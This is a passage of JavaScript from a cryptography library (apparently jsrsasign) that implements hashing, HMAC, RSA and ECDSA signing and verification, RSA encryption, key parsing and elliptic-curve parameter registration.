    this.updateString = function(e) {
        throw "updateString(str)not supported for this alg/prov:" + this.algName + "/" + this.provName
    };
    this.updateHex = function(e) {
        throw "updateHex(hex)not supported for this alg/prov:" + this.algName + "/" + this.provName
    };
    this.digest = function() {
        throw "digest()not supported for this alg/prov:" + this.algName + "/" + this.provName
    };
    this.digestString = function(e) {
        throw "digestString(str)not supported for this alg/prov:" + this.algName + "/" + this.provName
    };
    this.digestHex = function(e) {
        throw "digestHex(hex)not supported for this alg/prov:" + this.algName + "/" + this.provName
    };
    if (c !== undefined) {
        if (c.alg !== undefined) {
            this.algName = c.alg;
            if (c.prov === undefined) {
                this.provName = KJUR.crypto.Util.DEFAULTPROVIDER[this.algName]
            }
            this.setAlgAndProvider(this.algName, this.provName)
        }
    }
};
KJUR.crypto.MessageDigest.getCanonicalAlgName = function(a) {
    if (typeof a === "string") {
        a = a.toLowerCase();
        a = a.replace(/-/, "")
    }
    return a
};
KJUR.crypto.MessageDigest.getHashLength = function(c) {
    var b = KJUR.crypto.MessageDigest;
    var a = b.getCanonicalAlgName(c);
    if (b.HASHLENGTH[a] === undefined) {
        throw "not supported algorithm:" + c
    }
    return b.HASHLENGTH[a]
};
KJUR.crypto.MessageDigest.HASHLENGTH = {
    md5: 16,
    sha1: 20,
    sha224: 28,
    sha256: 32,
    sha384: 48,
    sha512: 64,
    ripemd160: 20
};
KJUR.crypto.Mac = function(d) {
    var f = null;
    var c = null;
    var a = null;
    var e = null;
    var b = null;
    this.setAlgAndProvider = function(k, i) {
        k = k.toLowerCase();
        if (k == null) {
            k = "hmacsha1"
        }
        k = k.toLowerCase();
        if (k.substr(0, 4) != "hmac") {
            throw "setAlgAndProvider unsupported HMAC alg:" + k
        }
        if (i === undefined) {
            i = KJUR.crypto.Util.DEFAULTPROVIDER[k]
        }
        this.algProv = k + "/" + i;
        var g = k.substr(4);
        if (":md5:sha1:sha224:sha256:sha384:sha512:ripemd160:".indexOf(g) != -1 && i == "cryptojs") {
            try {
                var j = KJUR.crypto.Util.CRYPTOJSMESSAGEDIGESTNAME[g];
                this.mac = CryptoJS.algo.HMAC.create(j, this.pass)
            } catch (h) {
                throw "setAlgAndProvider hash alg set fail hashAlg=" + g + "/" + h
            }
            this.updateString = function(l) {
                this.mac.update(l)
            };
            this.updateHex = function(l) {
                var m = CryptoJS.enc.Hex.parse(l);
                this.mac.update(m)
            };
            this.doFinal = function() {
                var l = this.mac.finalize();
                return l.toString(CryptoJS.enc.Hex)
            };
            this.doFinalString = function(l) {
                this.updateString(l);
                return this.doFinal()
            };
            this.doFinalHex = function(l) {
                this.updateHex(l);
                return this.doFinal()
            }
        }
    };
    this.updateString = function(g) {
        throw "updateString(str)not supported for this alg/prov:" + this.algProv
    };
    this.updateHex = function(g) {
        throw "updateHex(hex)not supported for this alg/prov:" + this.algProv
    };
    this.doFinal = function() {
        throw "digest()not supported for this alg/prov:" + this.algProv
    };
    this.doFinalString = function(g) {
        throw "digestString(str)not supported for this alg/prov:" + this.algProv
    };
    this.doFinalHex = function(g) {
        throw "digestHex(hex)not supported for this alg/prov:" + this.algProv
    };
    this.setPassword = function(h) {
        if (typeof h == "string") {
            var g = h;
            if (h.length % 2 == 1 || !h.match(/^[0-9A-Fa-f]+$/)) {
                g = rstrtohex(h)
            }
            this.pass = CryptoJS.enc.Hex.parse(g);
            return
        }
        if (typeof h != "object") {
            throw "KJUR.crypto.Mac unsupported password type:" + h
        }
        var g = null;
        if (h.hex !== undefined) {
            if (h.hex.length % 2 != 0 || !h.hex.match(/^[0-9A-Fa-f]+$/)) {
                throw "Mac:wrong hex password:" + h.hex
            }
            g = h.hex
        }
        if (h.utf8 !== undefined) {
            g = utf8tohex(h.utf8)
        }
        if (h.rstr !== undefined) {
            g = rstrtohex(h.rstr)
        }
        if (h.b64 !== undefined) {
            g = b64tohex(h.b64)
        }
        if (h.b64u !== undefined) {
            g = b64utohex(h.b64u)
        }
        if (g == null) {
            throw "KJUR.crypto.Mac unsupported password type:" + h
        }
        this.pass = CryptoJS.enc.Hex.parse(g)
    };
    if (d !== undefined) {
        if (d.pass !== undefined) {
            this.setPassword(d.pass)
        }
        if (d.alg !== undefined) {
            this.algName = d.alg;
            if (d.prov === undefined) {
                this.provName = KJUR.crypto.Util.DEFAULTPROVIDER[this.algName]
            }
            this.setAlgAndProvider(this.algName, this.provName)
        }
    }
};
KJUR.crypto.Signature = function(o) {
    var q = null;
    var n = null;
    var r = null;
    var c = null;
    var l = null;
    var d = null;
    var k = null;
    var h = null;
    var p = null;
    var e = null;
    var b = -1;
    var g = null;
    var j = null;
    var a = null;
    var i = null;
    var f = null;
    this._setAlgNames = function() {
        var s = this.algName.match(/^(.+)with(.+)$/);
        if (s) {
            this.mdAlgName = s[1].toLowerCase();
            this.pubkeyAlgName = s[2].toLowerCase()
        }
    };
    this._zeroPaddingOfSignature = function(x, w) {
        var v = "";
        var t = w / 4 - x.length;
        for (var u = 0; u < t; u++) {
            v = v + "0"
        }
        return v + x
    };
    this.setAlgAndProvider = function(u, t) {
        this._setAlgNames();
        if (t != "cryptojs/jsrsa") {
            throw "provider not supported:" + t
        }
        if (":md5:sha1:sha224:sha256:sha384:sha512:ripemd160:".indexOf(this.mdAlgName) != -1) {
            try {
                this.md = new KJUR.crypto.MessageDigest({
                    alg: this.mdAlgName
                })
            } catch (s) {
                throw "setAlgAndProvider hash alg set fail alg=" + this.mdAlgName + "/" + s
            }
            this.init = function(w, x) {
                var y = null;
                try {
                    if (x === undefined) {
                        y = KEYUTIL.getKey(w)
                    } else {
                        y = KEYUTIL.getKey(w, x)
                    }
                } catch (v) {
                    throw "init failed:" + v
                }
                if (y.isPrivate === true) {
                    this.prvKey = y;
                    this.state = "SIGN"
                } else {
                    if (y.isPublic === true) {
                        this.pubKey = y;
                        this.state = "VERIFY"
                    } else {
                        throw "init failed.:" + y
                    }
                }
            };
            this.updateString = function(v) {
                this.md.updateString(v)
            };
            this.updateHex = function(v) {
                this.md.updateHex(v)
            };
            this.sign = function() {
                this.sHashHex = this.md.digest();
                if (typeof this.ecprvhex != "undefined" && typeof this.eccurvename != "undefined") {
                    var v = new KJUR.crypto.ECDSA({
                        curve: this.eccurvename
                    });
                    this.hSign = v.signHex(this.sHashHex, this.ecprvhex)
                } else {
                    if (this.prvKey instanceof RSAKey && this.pubkeyAlgName === "rsaandmgf1") {
                        this.hSign = this.prvKey.signWithMessageHashPSS(this.sHashHex, this.mdAlgName, this.pssSaltLen)
                    } else {
                        if (this.prvKey instanceof RSAKey && this.pubkeyAlgName === "rsa") {
                            this.hSign = this.prvKey.signWithMessageHash(this.sHashHex, this.mdAlgName)
                        } else {
                            if (this.prvKey instanceof KJUR.crypto.ECDSA) {
                                this.hSign = this.prvKey.signWithMessageHash(this.sHashHex)
                            } else {
                                if (this.prvKey instanceof KJUR.crypto.DSA) {
                                    this.hSign = this.prvKey.signWithMessageHash(this.sHashHex)
                                } else {
                                    throw "Signature:unsupported private key alg:" + this.pubkeyAlgName
                                }
                            }
                        }
                    }
                }
                return this.hSign
            };
            this.signString = function(v) {
                this.updateString(v);
                return this.sign()
            };
            this.signHex = function(v) {
                this.updateHex(v);
                return this.sign()
            };
            this.verify = function(v) {
                this.sHashHex = this.md.digest();
                if (typeof this.ecpubhex != "undefined" && typeof this.eccurvename != "undefined") {
                    var w = new KJUR.crypto.ECDSA({
                        curve: this.eccurvename
                    });
                    return w.verifyHex(this.sHashHex, v, this.ecpubhex)
                } else {
                    if (this.pubKey instanceof RSAKey && this.pubkeyAlgName === "rsaandmgf1") {
                        return this.pubKey.verifyWithMessageHashPSS(this.sHashHex, v, this.mdAlgName, this.pssSaltLen)
                    } else {
                        if (this.pubKey instanceof RSAKey && this.pubkeyAlgName === "rsa") {
                            return this.pubKey.verifyWithMessageHash(this.sHashHex, v)
                        } else {
                            if (KJUR.crypto.ECDSA !== undefined && this.pubKey instanceof KJUR.crypto.ECDSA) {
                                return this.pubKey.verifyWithMessageHash(this.sHashHex, v)
                            } else {
                                if (KJUR.crypto.DSA !== undefined && this.pubKey instanceof KJUR.crypto.DSA) {
                                    return this.pubKey.verifyWithMessageHash(this.sHashHex, v)
                                } else {
                                    throw "Signature:unsupported public key alg:" + this.pubkeyAlgName
                                }
                            }
                        }
                    }
                }
            }
        }
    };
    this.init = function(s, t) {
        throw "init(key,pass)not supported for this alg:prov=" + this.algProvName
    };
    this.updateString = function(s) {
        throw "updateString(str)not supported for this alg:prov=" + this.algProvName
    };
    this.updateHex = function(s) {
        throw "updateHex(hex)not supported for this alg:prov=" + this.algProvName
    };
    this.sign = function() {
        throw "sign()not supported for this alg:prov=" + this.algProvName
    };
    this.signString = function(s) {
        throw "digestString(str)not supported for this alg:prov=" + this.algProvName
    };
    this.signHex = function(s) {
        throw "digestHex(hex)not supported for this alg:prov=" + this.algProvName
    };
    this.verify = function(s) {
        throw "verify(hSigVal)not supported for this alg:prov=" + this.algProvName
    };
    this.initParams = o;
    if (o !== undefined) {
        if (o.alg !== undefined) {
            this.algName = o.alg;
            if (o.prov === undefined) {
                this.provName = KJUR.crypto.Util.DEFAULTPROVIDER[this.algName]
            } else {
                this.provName = o.prov
            }
            this.algProvName = this.algName + ":" + this.provName;
            this.setAlgAndProvider(this.algName, this.provName);
            this._setAlgNames()
        }
        if (o.psssaltlen !== undefined) {
            this.pssSaltLen = o.psssaltlen
        }
        if (o.prvkeypem !== undefined) {
            if (o.prvkeypas !== undefined) {
                throw "both prvkeypem and prvkeypas parameters not supported"
            } else {
                try {
                    var q = KEYUTIL.getKey(o.prvkeypem);
                    this.init(q)
                } catch (m) {
                    throw "fatal error to load pem private key:" + m
                }
            }
        }
    }
};
KJUR.crypto.Cipher = function(a) {};
KJUR.crypto.Cipher.encrypt = function(e, f, d) {
    if (f instanceof RSAKey && f.isPublic) {
        var c = KJUR.crypto.Cipher.getAlgByKeyAndName(f, d);
        if (c === "RSA") {
            return f.encrypt(e)
        }
        if (c === "RSAOAEP") {
            return f.encryptOAEP(e, "sha1")
        }
        var b = c.match(/^RSAOAEP(\d+)$/);
        if (b !== null) {
            return f.encryptOAEP(e, "sha" + b[1])
        }
        throw "Cipher.encrypt:unsupported algorithm for RSAKey:" + d
    } else {
        throw "Cipher.encrypt:unsupported key or algorithm"
    }
};
KJUR.crypto.Cipher.decrypt = function(e, f, d) {
    if (f instanceof RSAKey && f.isPrivate) {
        var c = KJUR.crypto.Cipher.getAlgByKeyAndName(f, d);
        if (c === "RSA") {
            return f.decrypt(e)
        }
        if (c === "RSAOAEP") {
            return f.decryptOAEP(e, "sha1")
        }
        var b = c.match(/^RSAOAEP(\d+)$/);
        if (b !== null) {
            return f.decryptOAEP(e, "sha" + b[1])
        }
        throw "Cipher.decrypt:unsupported algorithm for RSAKey:" + d
    } else {
        throw "Cipher.decrypt:unsupported key or algorithm"
    }
};
KJUR.crypto.Cipher.getAlgByKeyAndName = function(b, a) {
    if (b instanceof RSAKey) {
        if (":RSA:RSAOAEP:RSAOAEP224:RSAOAEP256:RSAOAEP384:RSAOAEP512:".indexOf(a) != -1) {
            return a
        }
        if (a === null || a === undefined) {
            return "RSA"
        }
        throw "getAlgByKeyAndName:not supported algorithm name for RSAKey:" + a
    }
    throw "getAlgByKeyAndName:not supported algorithm name:" + a
};
KJUR.crypto.OID = new function() {
    this.oidhex2name = {
        "2a864886f70d010101": "rsaEncryption",
        "2a8648ce3d0201": "ecPublicKey",
        "2a8648ce380401": "dsa",
        "2a8648ce3d030107": "secp256r1",
        "2b8104001f": "secp192k1",
        "2b81040021": "secp224r1",
        "2b8104000a": "secp256k1",
        "2b81040023": "secp521r1",
        "2b81040022": "secp384r1",
        "2a8648ce380403": "SHA1withDSA",
        "608648016503040301": "SHA224withDSA",
        "608648016503040302": "SHA256withDSA",
    }
};
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.crypto == "undefined" || !KJUR.crypto) {
    KJUR.crypto = {}
}
KJUR.crypto.ECDSA = function(h) {
    var e = "secp256r1";
    var g = null;
    var b = null;
    var f = null;
    var a = new SecureRandom();
    var d = null;
    this.type = "EC";
    this.isPrivate = false;
    this.isPublic = false;

    function c(s, o, r, n) {
        var j = Math.max(o.bitLength(), n.bitLength());
        var t = s.add2D(r);
        var q = s.curve.getInfinity();
        for (var p = j - 1; p >= 0; --p) {
            q = q.twice2D();
            q.z = BigInteger.ONE;
            if (o.testBit(p)) {
                if (n.testBit(p)) {
                    q = q.add2D(t)
                } else {
                    q = q.add2D(s)
                }
            } else {
                if (n.testBit(p)) {
                    q = q.add2D(r)
                }
            }
        }
        return q
    }
    this.getBigRandom = function(i) {
        return new BigInteger(i.bitLength(), a).mod(i.subtract(BigInteger.ONE)).add(BigInteger.ONE)
    };
    this.setNamedCurve = function(i) {
        this.ecparams = KJUR.crypto.ECParameterDB.getByName(i);
        this.prvKeyHex = null;
        this.pubKeyHex = null;
        this.curveName = i
    };
    this.setPrivateKeyHex = function(i) {
        this.isPrivate = true;
        this.prvKeyHex = i
    };
    this.setPublicKeyHex = function(i) {
        this.isPublic = true;
        this.pubKeyHex = i
    };
    this.getPublicKeyXYHex = function() {
        var k = this.pubKeyHex;
        if (k.substr(0, 2) !== "04") {
            throw "this method supports uncompressed format(04)only"
        }
        var j = this.ecparams.keylen / 4;
        if (k.length !== 2 + j * 2) {
            throw "malformed public key hex length"
        }
        var i = {};
        i.x = k.substr(2, j);
        i.y = k.substr(2 + j);
        return i
    };
    this.getShortNISTPCurveName = function() {
        var i = this.curveName;
        if (i === "secp256r1" || i === "NIST P-256" || i === "P-256" || i === "prime256v1") {
            return "P-256"
        }
        if (i === "secp384r1" || i === "NIST P-384" || i === "P-384") {
            return "P-384"
        }
        return null
    };
    this.generateKeyPairHex = function() {
        var k = this.ecparams.n;
        var n = this.getBigRandom(k);
        var l = this.ecparams.G.multiply(n);
        var q = l.getX().toBigInteger();
        var o = l.getY().toBigInteger();
        var i = this.ecparams.keylen / 4;
        var m = ("0000000000" + n.toString(16)).slice(-i);
        var r = ("0000000000" + q.toString(16)).slice(-i);
        var p = ("0000000000" + o.toString(16)).slice(-i);
        var j = "04" + r + p;
        this.setPrivateKeyHex(m);
        this.setPublicKeyHex(j);
        return {
            ecprvhex: m,
            ecpubhex: j
        }
    };
    this.signWithMessageHash = function(i) {
        return this.signHex(i, this.prvKeyHex)
    };
    this.signHex = function(o, j) {
        var t = new BigInteger(j, 16);
        var l = this.ecparams.n;
        var q = new BigInteger(o, 16);
        do {
            var m = this.getBigRandom(l);
            var u = this.ecparams.G;
            var p = u.multiply(m);
            var i = p.getX().toBigInteger().mod(l)
        } while (i.compareTo(BigInteger.ZERO) <= 0);
        var v = m.modInverse(l).multiply(q.add(t.multiply(i))).mod(l);
        return KJUR.crypto.ECDSA.biRSSigToASN1Sig(i, v)
    };
    this.sign = function(m, u) {
        var q = u;
        var j = this.ecparams.n;
        var p = BigInteger.fromByteArrayUnsigned(m);
        do {
            var l = this.getBigRandom(j);
            var t = this.ecparams.G;
            var o = t.multiply(l);
            var i = o.getX().toBigInteger().mod(j)
        } while (i.compareTo(BigInteger.ZERO) <= 0);
        var v = l.modInverse(j).multiply(p.add(q.multiply(i))).mod(j);
        return this.serializeSig(i, v)
    };
    this.verifyWithMessageHash = function(j, i) {
        return this.verifyHex(j, i, this.pubKeyHex)
    };
    this.verifyHex = function(m, i, p) {
        var l, j;
        var o = KJUR.crypto.ECDSA.parseSigHex(i);
        l = o.r;
        j = o.s;
        var k;
        k = ECPointFp.decodeFromHex(this.ecparams.curve, p);
        var n = new BigInteger(m, 16);
        return this.verifyRaw(n, l, j, k)
    };
    this.verify = function(o, p, j) {
        var l, i;
        if (Bitcoin.Util.isArray(p)) {
            var n = this.parseSig(p);
            l = n.r;
            i = n.s
        } else {
            if ("object" === typeof p && p.r && p.s) {
                l = p.r;
                i = p.s
            } else {
                throw "Invalid value for signature"
            }
        }
        var k;
        if (j instanceof ECPointFp) {
            k = j
        } else {
            if (Bitcoin.Util.isArray(j)) {
                k = ECPointFp.decodeFrom(this.ecparams.curve, j)
            } else {
                throw "Invalid format for pubkey value,must be byte array or ECPointFp"
            }
        }
        var m = BigInteger.fromByteArrayUnsigned(o);
        return this.verifyRaw(m, l, i, k)
    };
    this.verifyRaw = function(o, i, w, m) {
        var l = this.ecparams.n;
        var u = this.ecparams.G;
        if (i.compareTo(BigInteger.ONE) < 0 || i.compareTo(l) >= 0) {
            return false
        }
        if (w.compareTo(BigInteger.ONE) < 0 || w.compareTo(l) >= 0) {
            return false
        }
        var p = w.modInverse(l);
        var k = o.multiply(p).mod(l);
        var j = i.multiply(p).mod(l);
        var q = u.multiply(k).add(m.multiply(j));
        var t = q.getX().toBigInteger().mod(l);
        return t.equals(i)
    };
    this.serializeSig = function(k, j) {
        var l = k.toByteArraySigned();
        var i = j.toByteArraySigned();
        var m = [];
        m.push(2);
        m.push(l.length);
        m = m.concat(l);
        m.push(2);
        m.push(i.length);
        m = m.concat(i);
        m.unshift(m.length);
        m.unshift(48);
        return m
    };
    this.parseSig = function(n) {
        var m;
        if (n[0] != 48) {
            throw new Error("Signature not a valid DERSequence")
        }
        m = 2;
        if (n[m] != 2) {
            throw new Error("First element in signature must be a DERInteger")
        }
        var l = n.slice(m + 2, m + 2 + n[m + 1]);
        m += 2 + n[m + 1];
        if (n[m] != 2) {
            throw new Error("Second element in signature must be a DERInteger")
        }
        var i = n.slice(m + 2, m + 2 + n[m + 1]);
        m += 2 + n[m + 1];
        var k = BigInteger.fromByteArrayUnsigned(l);
        var j = BigInteger.fromByteArrayUnsigned(i);
        return {
            r: k,
            s: j
        }
    };
    this.parseSigCompact = function(m) {
        if (m.length !== 65) {
            throw "Signature has the wrong length"
        }
        var j = m[0] - 27;
        if (j < 0 || j > 7) {
            throw "Invalid signature type"
        }
        var o = this.ecparams.n;
        var l = BigInteger.fromByteArrayUnsigned(m.slice(1, 33)).mod(o);
        var k = BigInteger.fromByteArrayUnsigned(m.slice(33, 65)).mod(o);
        return {
            r: l,
            s: k,
            i: j
        }
    };
    this.readPKCS5PrvKeyHex = function(l) {
        var n = ASN1HEX;
        var m = KJUR.crypto.ECDSA.getName;
        var p = n.getVbyList;
        if (n.isASN1HEX(l) === false) {
            throw "not ASN.1 hex string"
        }
        var i, k, o;
        try {
            i = p(l, 0, [2, 0], "06");
            k = p(l, 0, [1], "04");
            try {
                o = p(l, 0, [3, 0], "03").substr(2)
            } catch (j) {}
        } catch (j) {
            throw "malformed PKCS#1/5 plain ECC private key"
        }
        this.curveName = m(i);
        if (this.curveName === undefined) {
            throw "unsupported curve name"
        }
        this.setNamedCurve(this.curveName);
        this.setPublicKeyHex(o);
        this.setPrivateKeyHex(k);
        this.isPublic = false
    };
    this.readPKCS8PrvKeyHex = function(l) {
        var q = ASN1HEX;
        var i = KJUR.crypto.ECDSA.getName;
        var n = q.getVbyList;
        if (q.isASN1HEX(l) === false) {
            throw "not ASN.1 hex string"
        }
        var j, p, m, k;
        try {
            j = n(l, 0, [1, 0], "06");
            p = n(l, 0, [1, 1], "06");
            m = n(l, 0, [2, 0, 1], "04");
            try {
                k = n(l, 0, [2, 0, 2, 0], "03").substr(2)
            } catch (o) {}
        } catch (o) {
            throw "malformed PKCS#8 plain ECC private key"
        }
        this.curveName = i(p);
        if (this.curveName === undefined) {
            throw "unsupported curve name"
        }
        this.setNamedCurve(this.curveName);
        this.setPublicKeyHex(k);
        this.setPrivateKeyHex(m);
        this.isPublic = false
    };
    this.readPKCS8PubKeyHex = function(l) {
        var n = ASN1HEX;
        var m = KJUR.crypto.ECDSA.getName;
        var p = n.getVbyList;
        if (n.isASN1HEX(l) === false) {
            throw "not ASN.1 hex string"
        }
        var k, i, o;
        try {
            k = p(l, 0, [0, 0], "06");
            i = p(l, 0, [0, 1], "06");
            o = p(l, 0, [1], "03").substr(2)
        } catch (j) {
            throw "malformed PKCS#8 ECC public key"
        }
        this.curveName = m(i);
        if (this.curveName === null) {
            throw "unsupported curve name"
        }
        this.setNamedCurve(this.curveName);
        this.setPublicKeyHex(o)
    };
    this.readCertPubKeyHex = function(k, p) {
        if (p !== 5) {
            p = 6
        }
        var m = ASN1HEX;
        var l = KJUR.crypto.ECDSA.getName;
        var o = m.getVbyList;
        if (m.isASN1HEX(k) === false) {
            throw "not ASN.1 hex string"
        }
        var i, n;
        try {
            i = o(k, 0, [0, p, 0, 1], "06");
            n = o(k, 0, [0, p, 1], "03").substr(2)
        } catch (j) {
            throw "malformed X.509 certificate ECC public key"
        }
        this.curveName = l(i);
        if (this.curveName === null) {
            throw "unsupported curve name"
        }
        this.setNamedCurve(this.curveName);
        this.setPublicKeyHex(n)
    };
    if (h !== undefined) {
        if (h.curve !== undefined) {
            this.curveName = h.curve
        }
    }
    if (this.curveName === undefined) {
        this.curveName = e
    }
    this.setNamedCurve(this.curveName);
    if (h !== undefined) {
        if (h.prv !== undefined) {
            this.setPrivateKeyHex(h.prv)
        }
        if (h.pub !== undefined) {
            this.setPublicKeyHex(h.pub)
        }
    }
};
KJUR.crypto.ECDSA.parseSigHex = function(a) {
    var b = KJUR.crypto.ECDSA.parseSigHexInHexRS(a);
    var d = new BigInteger(b.r, 16);
    var c = new BigInteger(b.s, 16);
    return {
        r: d,
        s: c
    }
};
KJUR.crypto.ECDSA.parseSigHexInHexRS = function(f) {
    var j = ASN1HEX;
    var i = j.getChildIdx;
    var g = j.getV;
    if (f.substr(0, 2) != "30") {
        throw "signature is not a ASN.1 sequence"
    }
    var h = i(f, 0);
    if (h.length != 2) {
        throw "number of signature ASN.1 sequence elements seem wrong"
    }
    var e = h[0];
    var d = h[1];
    if (f.substr(e, 2) != "02") {
        throw "1st item of sequene of signature is not ASN.1 integer"
    }
    if (f.substr(d, 2) != "02") {
        throw "2nd item of sequene of signature is not ASN.1 integer"
    }
    var c = g(f, e);
    var b = g(f, d);
    return {
        r: c,
        s: b
    }
};
KJUR.crypto.ECDSA.asn1SigToConcatSig = function(c) {
    var d = KJUR.crypto.ECDSA.parseSigHexInHexRS(c);
    var b = d.r;
    var a = d.s;
    if (b.substr(0, 2) == "00" && (b.length % 32) == 2) {
        b = b.substr(2)
    }
    if (a.substr(0, 2) == "00" && (a.length % 32) == 2) {
        a = a.substr(2)
    }
    if ((b.length % 32) == 30) {
        b = "00" + b
    }
    if ((a.length % 32) == 30) {
        a = "00" + a
    }
    if (b.length % 32 != 0) {
        throw "unknown ECDSA sig r length error"
    }
    if (a.length % 32 != 0) {
        throw "unknown ECDSA sig s length error"
    }
    return b + a
};
KJUR.crypto.ECDSA.concatSigToASN1Sig = function(a) {
    if ((((a.length / 2) * 8) % (16 * 8)) != 0) {
        throw "unknown ECDSA concatinated r-s sig length error"
    }
    var c = a.substr(0, a.length / 2);
    var b = a.substr(a.length / 2);
    return KJUR.crypto.ECDSA.hexRSSigToASN1Sig(c, b)
};
KJUR.crypto.ECDSA.hexRSSigToASN1Sig = function(b, a) {
    var d = new BigInteger(b, 16);
    var c = new BigInteger(a, 16);
    return KJUR.crypto.ECDSA.biRSSigToASN1Sig(d, c)
};
KJUR.crypto.ECDSA.biRSSigToASN1Sig = function(f, d) {
    var c = KJUR.asn1;
    var b = new c.DERInteger({
        bigint: f
    });
    var a = new c.DERInteger({
        bigint: d
    });
    var e = new c.DERSequence({
        array: [b, a]
    });
    return e.getEncodedHex()
};
KJUR.crypto.ECDSA.getName = function(a) {
    if (a === "2a8648ce3d030107") {
        return "secp256r1"
    }
    if (a === "2b8104000a") {
        return "secp256k1"
    }
    if (a === "2b81040022") {
        return "secp384r1"
    }
    if ("|secp256r1|NIST P-256|P-256|prime256v1|".indexOf(a) !== -1) {
        return "secp256r1"
    }
    if ("|secp256k1|".indexOf(a) !== -1) {
        return "secp256k1"
    }
    if ("|secp384r1|NIST P-384|P-384|".indexOf(a) !== -1) {
        return "secp384r1"
    }
    return null
};
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.crypto == "undefined" || !KJUR.crypto) {
    KJUR.crypto = {}
}
KJUR.crypto.ECParameterDB = new function() {
    var b = {};
    var c = {};

    function a(d) {
        return new BigInteger(d, 16)
    }
    this.getByName = function(e) {
        var d = e;
        if (typeof c[d] != "undefined") {
            d = c[e]
        }
        if (typeof b[d] != "undefined") {
            return b[d]
        }
        throw "unregistered EC curve name:" + d
    };
    this.regist = function(A, l, o, g, m, e, j, f, k, u, d, x) {
        b[A] = {};
        var s = a(o);
        var z = a(g);
        var y = a(m);
        var t = a(e);
        var w = a(j);
        var r = new ECCurveFp(s, z, y);
        var q = r.decodePointHex("04" + f + k);
        b[A]["name"] = A;
        b[A]["keylen"] = l;
        b[A]["curve"] = r;
        b[A]["G"] = q;
        b[A]["n"] = t;
        b[A]["h"] = w;
        b[A]["oid"] = d;
        b[A]["info"] = x;
        for (var v = 0; v < u.length; v++) {
            c[u[v]] = A
        }
    }
};
KJUR.crypto.ECParameterDB.regist("secp128r1", 128, "FFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFF", "FFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFC", "E87579C11079F43DD824993C2CEE5ED3", "FFFFFFFE0000000075A30D1B9038A115", "1", "161FF7528B899B2D0C28607CA52C5B86", "CF5AC8395BAFEB13C02DA292DDED7A83", [], "", "secp128r1 :SECG curve over a 128 bit prime field");
KJUR.crypto.ECParameterDB.regist("secp160k1", 160, "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFAC73", "0", "7", "0100000000000000000001B8FA16DFAB9ACA16B6B3", "1", "3B4C382CE37AA192A4019E763036F4F5DD4D7EBB", "938CF935318FDCED6BC28286531733C3F03C4FEE", [], "", "secp160k1 :SECG curve over a 160 bit prime field");
KJUR.crypto.ECParameterDB.regist("secp160r1", 160, "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFF", "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFC", "1C97BEFC54BD7A8B65ACF89F81D4D4ADC565FA45", "0100000000000000000001F4C8F927AED3CA752257", "1", "4A96B5688EF573284664698968C38BB913CBFC82", "23A628553168947D59DCC912042351377AC5FB32", [], "", "secp160r1 :SECG curve over a 160 bit prime field");
KJUR.crypto.ECParameterDB.regist("secp192k1", 192, "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFEE37", "0", "3", "FFFFFFFFFFFFFFFFFFFFFFFE26F2FC170F69466A74DEFD8D", "1", "DB4FF10EC057E9AE26B07D0280B7F4341DA5D1B1EAE06C7D", "9B2F2F6D9C5628A7844163D015BE86344082AA88D95E2F9D", []);
KJUR.crypto.ECParameterDB.regist("secp192r1", 192, "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF", "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFC", "64210519E59C80E70FA7E9AB72243049FEB8DEECC146B9B1", "FFFFFFFFFFFFFFFFFFFFFFFF99DEF836146BC9B1B4D22831", "1", "188DA80EB03090F67CBF20EB43A18800F4FF0AFD82FF1012", "07192B95FFC8DA78631011ED6B24CDD573F977A11E794811", []);
KJUR.crypto.ECParameterDB.regist("secp224r1", 224, "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000001", "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFE", "B4050A850C04B3ABF54132565044B0B7D7BFD8BA270B39432355FFB4", "FFFFFFFFFFFFFFFFFFFFFFFFFFFF16A2E0B8F03E13DD29455C5C2A3D", "1", "B70E0CBD6BB4BF7F321390B94A03C1D356C21122343280D6115C1D21", "BD376388B5F723FB4C22DFE6CD4375A05A07476444D5819985007E34", []);
KJUR.crypto.ECParameterDB.regist("secp256k1", 256, "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F", "0", "7", "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141", "1", "79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798", "483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8", []);
KJUR.crypto.ECParameterDB.regist("secp256r1", 256, "FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF", "FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC", "5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B", "FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551", "1", "6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296", "4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5", ["NIST P-256", "P-256", "prime256v1"]);
